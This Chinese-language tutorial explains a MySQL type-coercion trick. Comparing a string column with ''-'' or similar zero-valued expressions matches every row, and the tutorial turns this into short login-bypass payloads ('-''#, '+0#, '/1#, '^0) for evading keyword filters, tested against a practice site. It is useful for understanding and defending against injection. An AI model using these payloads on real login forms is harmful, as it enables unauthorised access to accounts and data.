我们先来看这样一个场景。有以下表结构:
mysql
>
desc admin
;
+----------+--------------+------+-----+---------+----------------+
|
Field
|
Type
|
Null
|
Key
|
Default
|
Extra
|
+----------+--------------+------+-----+---------+----------------+
|
id
|
mediumint
(
9
)
|
NO
|
PRI
|
NULL
|
auto_increment
|
|
name
|
char
(
32
)
|
NO
|
UNI
|
NULL
|
|
|
password
|
char
(
32
)
|
NO
|
UNI
|
NULL
|
|
+----------+--------------+------+-----+---------+----------------+
3
rows
in
set
(
0.00
sec
)
执行select * from admin;,成功返回所有记录内容。
+----+--------+----------------------------------+
|
id
|
name
|
password
|
+----+--------+----------------------------------+
|
1
|
admin
|
c6dabaeeb05f2bf8690bab15e3afb022
|
|
2
|
pnig0s
|
998976f44e2a668k5dc21e54b3401645
|
|
4
|
n00b
|
ff80e8508d39047460921792273533a4
|
+----+--------+----------------------------------+
3
rows
in
set
(
0.00
sec
)
执行select * from admin where name=”;,没有匹配到任何记录。
mysql
>
select
*
from
admin
where
name
=
''
; 空格
Empty
set
(
0.00
sec
)
那么我们来执行select * from admin where name = ”-”; 0-0
+----+--------+----------------------------------+
|
id
|
name
|
password
|
+----+--------+----------------------------------+
|
1
|
admin
|
c6dabaeeb05f2bf8690bab15e3afb022
|
|
2
|
pnig0s
|
998976f44e2a668k5dc21e54b3401645
|
|
4
|
n00b
|
ff80e8508d39047460921792273533a4
|
+----+--------+----------------------------------+
3
rows
in
set
,
3
warnings
(
0.00
sec
)
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
mysql
>
show warnings
;
+---------+------+------------------------------------------
|
Level
|
Code
|
Message
+---------+------+------------------------------------------
|
Warning
|
1292
|
Truncated
incorrect DOUBLE value
:
'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: '
pnig0s
|
Warning
|
1292
|
Truncated
incorrect DOUBLE value
:
'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
mysql
>
select
''
-
''
;
+-------+
|
''
-
''
|
+-------+
|
0
|
+-------+
1
row
in
set
(
0.00
sec
)
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
mysql
>
select
CAST
((
select
name
from
admin limit
1
,
1
)
as
DECIMAL
);
+-----------------------------------------------------+
|
CAST
((
select
name
from
admin limit
1
,
1
)
as
DECIMAL
)
|
+-----------------------------------------------------+
|
0
|
+-----------------------------------------------------+
1
row
in
set
,
1
warning
(
0.00
sec
)
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
SQL注入场景: http://www.sqlzoo.net/hack/
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。
再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
mysql>
select ''/1
;
+------+
| ''/1 |
+------+
| 0 |
+------+
1 row in set (0.00 sec)
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。